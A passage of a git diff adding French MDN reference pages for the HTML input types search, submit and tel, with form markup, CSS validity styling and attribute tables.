+<p>Il est possible de contrôler la taille physique du champ de saisie grâce à l'attribut {{htmlattrxref("size", "input")}}. Cet attribut permet d'indiquer le nombre de caractères qui peuvent être affichés simultanément à l'intérieur du champ. Ainsi, dans l'exemple qui suit, la zone de recherche peut contenir 20 caractères :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="maRecherche" name="q"
+    placeholder="Rechercher sur le site…" size="30"&gt;
+    &lt;button&gt;Rechercher&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Paramétrer_la_taille_physique', 600, 40)}}</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Les éléments <code>&lt;input&gt;</code> de type <code>search</code> possèdent les mêmes fonctionnalités de validation que les éléments <code>&lt;input type="text"&gt;</code>. Il existe peu de raison de contraindre les termes d'une recherche mais voici quelques cas.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Attention, la validation des données d'un formulaire de recherche HTML par le client ne doit pas remplacer la vérification de ces données lorsqu'elles sont reçues sur le serveur. En effet, il est tout à fait possible pour quelqu'un de modifier le code HTML de la page pour outrepasser les mécanismes de validation. Il est également possible d'envoyer des données directement au serveur. Si le serveur ne valide pas les données reçues, des données potentiellement mal formatées pourraient causer des dommages aux bases de données et autres composants sensibles.</p>
+</div>
+
+<h3 id="Une_note_sur_la_mise_en_forme">Une note sur la mise en forme</h3>
+
+<p>Les pseudo-classes CSS {{cssxref(":valid")}} et {{cssxref(":invalid")}} permettent de mettre en forme les éléments d'un formulaire en fonction de la validité de leur contenu. Dans cette section, nous utiliserons la feuille de style suivante afin de placer une coche à côté des champs valides et une croix à côté des champs invalides.</p>
+
+<pre class="brush: css">input:invalid ~ span:after {
+  content: '✖';
+  padding-left: 5px;
+  position: absolute;
+}
+
+input:valid ~ span:after {
+  content: '✓';
+  padding-left: 5px;
+  position: absolute
+}</pre>
+
+<p>Vous pouvez ici voir qu'on utilise un élément {{htmlelement("span")}} placé après l'élément du formulaire, c'est cet élément <code>&lt;span&gt;</code> qui contiendra les icônes. Cet élément est nécessaire car, sur certains navigateurs, les pseudo-classes dans les éléments de saisie sont mal gérées.</p>
+
+<h3 id="Rendre_le_champ_obligatoire">Rendre le champ obligatoire</h3>
+
+<p>Il est possible d'utiliser l'attribut {{htmlattrxref("required","input")}} afin d'indiquer que la valeur doit obligatoirement être saisie avant d'envoyer le formulaire :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="maRecherche" name="q"
+    placeholder="Recherche sur le site…" required&gt;
+    &lt;button&gt;Rechercher&lt;/button&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">input {
+  margin-right: 10px;
+}
+
+input:invalid ~ span:after {
+  content: '✖';
+  padding-left: 5px;
+  position: absolute;
+}
+
+input:valid ~ span:after {
+  content: '✓';
+  padding-left: 5px;
+  position: absolute;
+}</pre>
+</div>
+
+<p>Voici le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample('Rendre_le_champ_obligatoire', 600, 40)}}</p>
+
+<p>De plus, si on essaie d'envoyer le formulaire sans aucun terme de recherche, le navigateur affichera un message. Voici par exemple, le résultat dans Firefox :</p>
+
+<p><img alt="form field with attached message that says Please fill out this field" src="https://mdn.mozillademos.org/files/15241/firefox-required-message.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Différents messages peuvent être affichés selon le type d'erreur liée à la saisie.</p>
+
+<h3 id="Contraindre_la_taille_de_la_valeur_saisie">Contraindre la taille de la valeur saisie</h3>
+
+<p>Il est possible d'indiquer une taille minimale pour la longueur des termes de la recherche via l'attribut {{htmlattrxref("minlength", "input")}}. De même, on peut fixer la longueur maximale du texte qui peut être saisi pour la recherche grâce à l'attribut {{htmlattrxref("maxlength", "input")}}. Ces deux attributs sont exprimés en nombres de caractères.</p>
+
+<p>Dans l'exemple qui suit, la valeur saisie dans le champ de recherche doit mesurer entre 4 et 8 caractères.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="mySearch"&gt;Rechercher un utilisateur&lt;/label&gt;
+    &lt;input type="search" id="mySearch" name="q"
+    placeholder="ID de 4 à 8 char." required
+    size="30" minlength="4" maxlength="8"&gt;
+    &lt;button&gt;Rechercher&lt;/button&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">input {
+  margin-right: 10px;
+}
+
+input:invalid ~ span:after {
+  content: '✖';
+  padding-left: 5px;
+  position: absolute;
+}
+
+input:valid ~ span:after {
+  content: '✓';
+  padding-left: 5px;
+  position: absolute;
+}</pre>
+</div>
+
+<p>Voici le résultat obtenu avec ce fragment de code HTML :</p>
+
+<p>{{EmbedLiveSample('Contraindre_la_taille_de_la_valeur_saisie', 600, 40)}}</p>
+
+<p>Si vous essayez de soumettre une valeur qui est plus petite que 4 caractères, vous aurez un message d'erreur (qui peut varier selon le navigateur utilisé). De plus, le navigateur ne permettra pas de saisir un texte plus long que 8 caractères.</p>
+
+<h3 id="Indiquer_un_motif">Indiquer un motif</h3>
+
+<p>L'attribut {{htmlattrxref("pattern","input")}} permet d'indiquer une expression rationnelle que doit respecter la valeur saisie pour être considérée valide (cf. <a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire#Contraintes_de_validation_sur_les_éléments_&lt;input>">Valider une valeur avec une expression rationnelle</a> pour une introduction).</p>
+
+<p>Prenons un exemple. Imaginons qu'on veuille rechercher un produit grâce à son identifiant et que les identifiants commencent par deux lettres, suivies de 4 chiffres. Dans l'exemple qui suit, le formulaire n'accepte qu'une valeur dont la taille est comprise entre 4 et 8 caractères et qui commence par deux lettres puis termine par 4 chiffres.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="mySearch"&gt;Rechercher un produit par son code :&lt;/label&gt;
+    &lt;input type="search" id="mySearch" name="q"
+    placeholder="2 lettres puis 4 chiffres" required
+    size="30" pattern="[A-z]{2}[0-9]{4}"&gt;
+    &lt;button&gt;Rechercher&lt;/button&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">input {
+  margin-right: 10px;
+}
+
+input:invalid ~ span:after {
+  content: '✖';
+  padding-left: 5px;
+  position: absolute;
+}
+
+input:valid ~ span:after {
+  content: '✓';
+  padding-left: 5px;
+  position: absolute;
+}</pre>
+</div>
+
+<p>Voici le résultat obtenu avec ce fragment HTML :</p>
+
+<p>{{EmbedLiveSample('Indiquer_un_motif', 600, 40)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Vous pouvez consulter un exemple de formulaire de recherche dans notre exemple <a href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-aria-roles">website-aria-roles</a> (<a href="http://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/">voir la démonstration <em>live</em></a>).</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur contenue dans le champ de recherche.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("required", "input")}}, {{htmlattrxref("size", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}}, {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#text-(type=text)-state-and-search-state-(type=search)', '&lt;input type="search"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#text-typetext-state-and-search-state-typesearch', '&lt;input type="search"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-search")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Les formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}} et l'interface {{domxref("HTMLInputElement")}} DOM qu'il implémente</li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/input/submit/index.html b/files/fr/web/html/element/input/submit/index.html
new file mode 100644
index 0000000000..92276de492
--- /dev/null
+++ b/files/fr/web/html/element/input/submit/index.html
@@ -0,0 +1,275 @@
+---
+title: <input type="submit">
+slug: Web/HTML/Element/Input/submit
+tags:
+  - Element
+  - Formulaire
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/submit
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <strong><code>"submit"</code></strong> sont affichés comme des boutons permettant d'envoyer les données d'un formulaire. Cliquer sur un tel bouton déclenchera l'envoi des données du formulaire vers le serveur.</span></p>
+
+<div id="summary-example2">
+<pre class="brush: html">&lt;input type="submit" value="Envoyer le formulaire"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example2", 650, 30)}}</p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>La valeur de l'attribut {{htmlattrxref("value", "input")}} d'un élément <code>&lt;input type="submit"&gt;</code> contient une chaîne de caractères ({{domxref("DOMString")}}) qui est utilisée comme étiquette pour le bouton.</p>
+
+<p>Si on n'indique aucune valeur, ce sera un texte par défaut (dépendant du navigateur) qui sera utilisé ainsi que du système d'éxploitation:</p>
+
+<div id="summary-example1">
+<pre class="brush: html">&lt;input type="submit"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs pris en charge par l'ensemble des éléments {{HTMLElement("input")}}, les boutons <code>"submit"</code> permettent d'utiliser les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("formaction")}}</code></td>
+   <td>L'URL à laquelle envoyer les données du formulaire. Cette valeur prend le pas sur l'attribut {{htmlattrxref("action", "form")}} du formulaire s'il est défini.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formenctype")}}</code></td>
+   <td>Une chaîne de caractères qui indique le type d'encodage à utiliser pour les données du formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formmethod")}}</code></td>
+   <td>La méthode HTTP ({{HTTPMethod("get")}} ou {{HTTPMethod("post")}}) à utiliser pour envoyer le formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formnovalidate")}}</code></td>
+   <td>Un booléen qui, lorsqu'il est présent, indique que les champs du formulaire ne sont pas soumis <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">aux contraintes de validation</a> avant l'envoi des données au serveur.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formtarget")}}</code></td>
+   <td>Le contexte de navigation dans lequel charger la réponse du serveur reçue après l'envoi du formulaire.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(formaction)">{{htmlattrdef("formaction")}}</h3>
+
+<p>Une chaîne de caractères représentant l'URL à laquelle envoyer les données du formulaire. Cette valeur prend le pas sur l'attribut {{htmlattrxref("action", "form")}} du formulaire ({{HTMLElement("form")}}) propriétaire du champ <code>&lt;input&gt;</code>.</p>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdef(formenctype)">{{htmlattrdef("formenctype")}}</h3>
+
+<p>Une chaîne de caractères qui identifie la méthode d'encodage à utiliser pour l'envoi des données du formulaire au serveur. Trois valeurs sont autorisées :</p>
+
+<dl>
+ <dt><code>application/x-www-form-urlencoded</code></dt>
+ <dd>Les informations sont envoyées sous la forme d'une chaîne de caractères ajoutée à l'URL en utilisant l'algorithme de {{jsxref("encodeURI", "encodeURI()")}}. <strong>Cette valeur est la valeur par défaut.</strong></dd>
+ <dt><code>multipart/form-data</code></dt>
+ <dd>Cette valeur utilise l'API {{domxref("FormData")}} pour gérer les données et permet d'<em>uploader</em>des fichiers. Cet encodage <em>doit</em> être utilisé s'il y a des éléments  {{HTMLElement("input")}} de {{htmlattrxref("type", "input")}} <code>"file"</code> (<code><a href="/fr/docs/Web/HTML/Element/input/file">&lt;input type="file"&gt;</a></code>).</dd>
+ <dt><code>text/plain</code></dt>
+ <dd>Les données sont envoyées comme texte simple. Cette valeur est généralement utile pour déboguer car elle permet de voir facilement les données envoyées.</dd>
+</dl>
+
+<p>Si cet attribut est défini, sa valeur prend la priorité sur l'attribut {{htmlattrxref("action", "form")}} du formulaire.</p>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdef(formmethod)">{{htmlattrdef("formmethod")}}</h3>
+
+<p>Une chaîne de caractères qui indique la méthode HTTP à utiliser lors de l'envoi des données du formulaire. Cette valeur prend la priorité sur l'attribut {{htmlattrxref("method", "form")}} du formulaire. Les valeurs autorisées sont :</p>
+
+<dl>
+ <dt><code>get</code></dt>
+ <dd>Une URL est construite en commençant avec l'URL fournie par l'attribut <code>formaction</code> ou {{htmlattrxref("action", "form")}}, suivie d'un point d'interrogation puis des données du formulaire, encodées comme indiqué avec <code>formenctype</code> ou {{htmlattrxref("enctype", "form")}}. Cette URL est ensuite envoyée au serveur avec une requête HTTP {{HTTPMethod("get")}}. Cette méthode fonctionne correctement pour les formulaires simples, contenant des données ASCII et sans effet de bord. <strong>C'est la valeur par défaut.</strong></dd>
+ <dt><code>post</code></dt>
+ <dd>Les données du formulaire sont incluses dans le corps de la requête envoyée à l'URL fournie par l'attribut <code>formaction</code> ou {{htmlattrxref("action", "form")}} en utilisant une requête {{HTTPMethod("push")}}. Cette méthode prend en charge les données plus complexes (que celles pour <code>get</code>) et les pièces jointes sous forme de fichiers.</dd>
+ <dt><code>dialog</code></dt>
+ <dd>Cette méthode est utilisée pour indique que le bouton permet simplement de fermer la boîte de dialogue associée au champ. Aucune donnée n'est transmise.</dd>
+</dl>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdef(formnovalidate)">{{htmlattrdef("formnovalidate")}}</h3>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que le formulaire ne devrait pas être validé avant d'être envoyé au serveur. Cet attribut prend la priorité sur l'attribut {{htmlattrxref("novalidate", "form")}} du formulaire parent.</p>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdef(formtarget)">{{htmlattrdef("formtarget")}}</h3>
+
+<p>Une chaîne de caractères qui indique un nom ou un mot-clé qui définit où afficher la réponse reçue depuis le serveur après l'envoi du formulaire. La chaîne de caractères doit correspondre au nom <strong>d'un contexte de navigation</strong> (un onglet, une fenêtre ou une {{HTMLElement("iframe")}}). La valeur de cet attribut prendra la priorité sur celle fournie par l'attribut {{htmlattrxref("target", "form")}} du formulaire ({{HTMLElement("form")}}) parent.</p>
+
+<p>En complément des noms des onglets, fenêtres, <em>iframes</em>, quelques mots-clés spéciaux peuvent être utilisés :</p>
+
+<dl>
+ <dt><code>_self</code></dt>
+ <dd>La réponse est chargée dans le même contexte de navigation que celui contenant le formulaire. Cela remplacera le document courant avec les données reçues. <strong>Cette valeur est la valeur par défaut.</strong></dd>
+ <dt><code>_blank</code></dt>
+ <dd>La réponse est chargé dans un contexte de navigation vierge. Ce sera généralement un nouvel onglet dans la même fenêtre mais cela peut varier selon la configuration de l'agent utilisateur.</dd>
+ <dt><code>_parent</code></dt>
+ <dd>La réponse est chargée dans le contexte de navigation parent du contexte courant. S'il n'y a pas de contexte parent, cette valeur est synonyme de <code>"_self"</code>.</dd>
+ <dt><code>_top</code></dt>
+ <dd>La réponse est chargée dans le contexte de navigation de plus haut niveau, c'est-à-dire le contexte de navigation qui est l'ancêtre, sans parent, du contexte courant. Si le contexte courant est déjà le contexte de navigation le plus haut, cette valeur est synonyme de <code>"_self"</code>.</dd>
+</dl>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h2 id="Utiliser_les_boutons_d'envoi">Utiliser les boutons d'envoi</h2>
+
+<p>Les boutons <code>&lt;input type="submit"&gt;</code> sont utilisés afin d'envoyer des formulaires. Si vous souhaitez créer un bouton personnalisé et adapter son comportement avec JavaScript, il sera préférable d'utiliser un élément {{HTMLElement("button")}} ou un élément <code><a href="/fr/docs/Web/HTML/Element/input/button">&lt;input type="button"&gt;</a></code>.</p>
+
+<p>Attention, si un seul élément bouton est inséré dans un formulaire (par exemple <code>&lt;button&gt;Mon bouton&lt;/button&gt;</code>), le navigateur considèrera que ce bouton doit servir comme bouton d'envoi. Il est donc nécessaire de déclarer explicitement un bouton d'envoi (<code>&lt;input type="submit"&gt;</code>) en plus d'autres boutons que vous souhaiteriez ajouter.</p>
+
+<h3 id="Un_bouton_pour_envoyer_simple">Un bouton pour envoyer simple</h3>
+
+<p>Commençons par un exemple simple :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="example"&gt;Veuillez saisir un texte&lt;/label&gt;
+    &lt;input id="example" type="text" name="text"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit" value="Envoyer"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>Voici le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample("Un_bouton_pour_envoyer_simple", 650, 100)}}</p>
+
+<p>Pour tester, vous pouvez saisir un texte dans le champ puis cliquer sur le bouton.</p>
+
+<p>Lorsque le formulaire est envoyé, les paires formées par les noms et les valeurs seront envoyées au serveur. Dans le cas précédent, la donnée envoyée aura la forme <code>text=monTexte</code> (la deuxième partie varie selon le texte saisi). La destination et la méthode utilisées pour l'envoi des données dépend des attributs utilisés sur l'élément <code>&lt;form&gt;</code> (ainsi que d'autres détails). Pour plus d'informations, vous pouvez lire <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoyer les données d'un formulaire</a>.</p>
+
+<h3 id="Ajouter_un_raccourci_clavier">Ajouter un raccourci clavier</h3>
+
+<p>Les raccourcis claviers permettent à l'utilisateur d'utiliser une touche du clavier ou une combinaison de touches afin de déclencher l'action d'un bouton. Pour ajouter un raccourci à un bouton d'envoi, on peut utiliser l'attribut universel {{htmlattrxref("accesskey")}}.</p>
+
+<p>Dans l'exemple qui suit, on définit <kbd>s</kbd> comme raccourci (autrement dit, il faudra appuyer sur la touche <kbd>s</kbd> avec une ou plusieurs touches supplémentaires qui dépendent du navigateur et du système d'exploitation, cf. {{htmlattrxref("accesskey")}} pour la liste de ces touches).</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="example"&gt;Veuillez saisir du texte&lt;/label&gt;
+    &lt;input id="example" type="text" name="text"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit" value="Envoyer"
+     accesskey="s"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Ajouter_un_raccourci_clavier", 650, 100)}}</p>
+
+<div class="note">
+<p><strong>Note </strong>: Un problème de cet exemple est que l'utilisateur ne saura pas quelle touche utiliser comme raccourci. Dans un cas concret, cette information serait affichée ou fournie via un lien simple d'accès qui décrirait les raccourcis disponibles.</p>
+</div>
+
+<h3 id="Activer_et_désactiver_un_bouton_d'envoi">Activer et désactiver un bouton d'envoi</h3>
+
+<p>Si on souhaite désactiver un bouton, il sufft d'utiliser l'attribut booléen universel {{htmlattrxref("disabled")}} :</p>
+
+<div id="disable-example1">
+<pre class="brush: html">&lt;input type="submit" value="Disabled" disabled&gt;</pre>
+</div>
+
+<p>Pour activer / désactiver le bouton dynamiquement, on pourra manipuler l'attribut DOM <code>disabled</code> avec la valeur <code>true</code> ou <code>false</code> en JavaScript (avec une instruction similaire à <code>btn.disabled = true</code>).</p>
+
+<div class="note">
+<p><strong>Note </strong>: Voir la page <code><a href="/fr/docs/Web/HTML/Element/Input/button#Désactiver_et_activer_un_bouton">&lt;input type="button"&gt;</a></code> pour plus d'exemples concernant l'activation/désactivation des boutons liés à un formulaire.</p>
+</div>
+
+<div class="note">
+<p><strong>Note </strong>: À la différence des autres navigateurs, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox conservera un état désactivé obtenu de façon dynamique lorsque la page est rechargée</a>. L'attribut {{htmlattrxref("autocomplete","button")}} peut être utilisé afin de contrôler cette fonctionnalité.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Il n'existe pas de mécanisme de validation natif côté client pour les boutons d'envoi de formulaires.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir les exemples ci-avant.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) utilisée comme étiquette (texte) pour le bouton.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("click")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("type", "input")}}, and {{htmlattrxref("value", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>Aucune.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#submit-button-state-(type=submit)', '&lt;input type="submit"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#submit-button-state-(type=submit)', '&lt;input type="submit"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-submit")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("input")}} et l'interface DOM {{domxref("HTMLInputElement")}} qu'il implémente</li>
+ <li>L'élément {{HTMLElement("button")}}.</li>
+ <li><a href="/fr/docs/Learn/HTML/Forms_and_buttons">Apprendre les formulaires et les boutons</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/forms">L'accessibilité et les formulaires</a></li>
+ <li><a href="/fr/docs/Learn/HTML/Forms">Les formulaires HTML</a></li>
+</ul>
diff --git a/files/fr/web/html/element/input/tel/index.html b/files/fr/web/html/element/input/tel/index.html
new file mode 100644
index 0000000000..a0cade3b39
--- /dev/null
+++ b/files/fr/web/html/element/input/tel/index.html
@@ -0,0 +1,513 @@
+---
+title: <input type="tel">
+slug: Web/HTML/Element/Input/tel
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/tel
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <code><strong>"tel"</strong></code> permettent à un utilisateur de saisir un numéro de téléphone. Contrairement aux contrôles utilisés pour <code><a href="/fr/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code> et <code><a href="/fr/docs/Web/HTML/Element/input/url">&lt;input type="url"&gt;</a></code> , la valeur saisie n'est pas automatiquement validée selon un format donné car les formats des numéros de téléphone varient à travers le monde.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-tel.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<div class="note">
+<p><strong>Note :</strong> Les navigateurs qui ne prennent pas en charge le type <code>"tel"</code> utiliseront à la place un contrôle de type <code><a href="/fr/docs/Web/HTML/Element/input/text">"text"</a></code>.</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères ({{domxref("DOMString")}}) qui peut prendre l'une de ces deux valeurs :</p>
+
+<ol>
+ <li>Une chaîne vide ("") qui indique que l'utilisateur n'a saisi aucune valeur ou que celle-ci a été supprimée.</li>
+ <li>Une chaîne de caractères représentant un numéro de téléphone.</li>
+</ol>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>In addition to the attributes that operate on all {{HTMLElement("input")}} elements regardless of their type, telephone number inputs support the following attributes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>Le nombre de caractères maximal, exprimé en points de code UTF-16, qui peut être écrit dans ce champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>Le nombre de caractères minimal, exprimé en points de code UTF-16, qui peut être écrit dans ce champ pour qu'il soit considéré comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>Une expression rationnelle à laquelle doit correspondre le numéro de téléphone saisi pour être valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Une valeur d'exemple qui sera affichée lorsqu'aucune valeur n'est saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui indique si le contenu du champ est en lecture seule.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>Un nombre qui indique le nombre de caractères affichés par le champ.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefmaxlength">{{htmlattrdef("maxlength")}}</h3>
+
+<p>Le nombre maximum de caractères (exprimé en nombre de points de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>maxlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille maximale. La valeur indiquée par cet attribut doit être supérieure à <code>minlength</code>.</p>
+
